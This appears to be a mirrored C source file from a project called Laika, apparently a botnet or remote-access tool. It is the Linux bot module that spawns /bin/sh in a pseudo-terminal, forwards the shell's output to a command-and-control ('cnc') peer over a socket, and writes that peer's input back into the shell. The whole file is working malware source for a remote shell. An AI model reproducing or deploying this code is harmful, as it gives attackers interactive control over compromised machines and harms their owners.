mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-27 06:50:05 +00:00
118 lines
3.3 KiB
C
118 lines
3.3 KiB
C
/* platform specific code for opening shells in linux */
|
|
|
|
#include "bot.h"
|
|
#include "core/lerror.h"
|
|
#include "core/lmem.h"
|
|
#include "core/ltask.h"
|
|
#include "shell.h"
|
|
|
|
#include <pty.h>
|
|
#include <signal.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#define LAIKA_LINSHELL_PATH "/bin/sh"
|
|
|
|
struct sLaika_RAWshell
|
|
{
|
|
struct sLaika_shell _shell;
|
|
int pid;
|
|
int fd;
|
|
};
|
|
|
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
|
{
|
|
struct winsize ws;
|
|
struct sLaika_RAWshell *shell =
|
|
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
|
|
|
ws.ws_col = cols;
|
|
ws.ws_row = rows;
|
|
shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
|
|
shell->_shell.id = id;
|
|
|
|
if (shell->pid == 0) {
|
|
/* child process, clone & run shell */
|
|
execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
|
|
exit(0);
|
|
}
|
|
|
|
/* make sure our calls to read() & write() do not block */
|
|
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
|
laikaB_freeShell(bot, (struct sLaika_shell *)shell);
|
|
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
|
}
|
|
|
|
return (struct sLaika_shell *)shell;
|
|
}
|
|
|
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
|
{
|
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
|
|
|
/* kill the shell */
|
|
kill(shell->pid, SIGTERM);
|
|
close(shell->fd);
|
|
|
|
laikaM_free(shell);
|
|
}
|
|
|
|
/* ====================================[[ Shell Handlers ]]===================================== */
|
|
|
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
|
{
|
|
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
|
|
struct sLaika_peer *peer = bot->peer;
|
|
struct sLaika_socket *sock = &peer->sock;
|
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
|
|
|
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
|
|
|
|
if (rd > 0) {
|
|
/* we read some input! send to cnc */
|
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
|
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
|
laikaS_write(sock, readBuf, rd);
|
|
laikaS_endVarPacket(peer);
|
|
} else if (rd == -1) {
|
|
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
|
|
return true; /* recoverable, there was no data to read */
|
|
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
|
laikaB_freeShell(bot, _shell);
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
|
|
size_t length)
|
|
{
|
|
struct sLaika_peer *peer = bot->peer;
|
|
struct sLaika_socket *sock = &peer->sock;
|
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
|
size_t nLeft;
|
|
int nWritten;
|
|
|
|
nLeft = length;
|
|
while (nLeft > 0) {
|
|
if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
|
|
/* some error occurred */
|
|
if (length == nLeft) {
|
|
/* unrecoverable error */
|
|
laikaB_freeShell(bot, _shell);
|
|
return false;
|
|
} else { /* recoverable */
|
|
break;
|
|
}
|
|
} else if (nWritten == 0) {
|
|
break;
|
|
}
|
|
nLeft -= nWritten;
|
|
buf += nWritten;
|
|
}
|
|
|
|
return true;
|
|
} |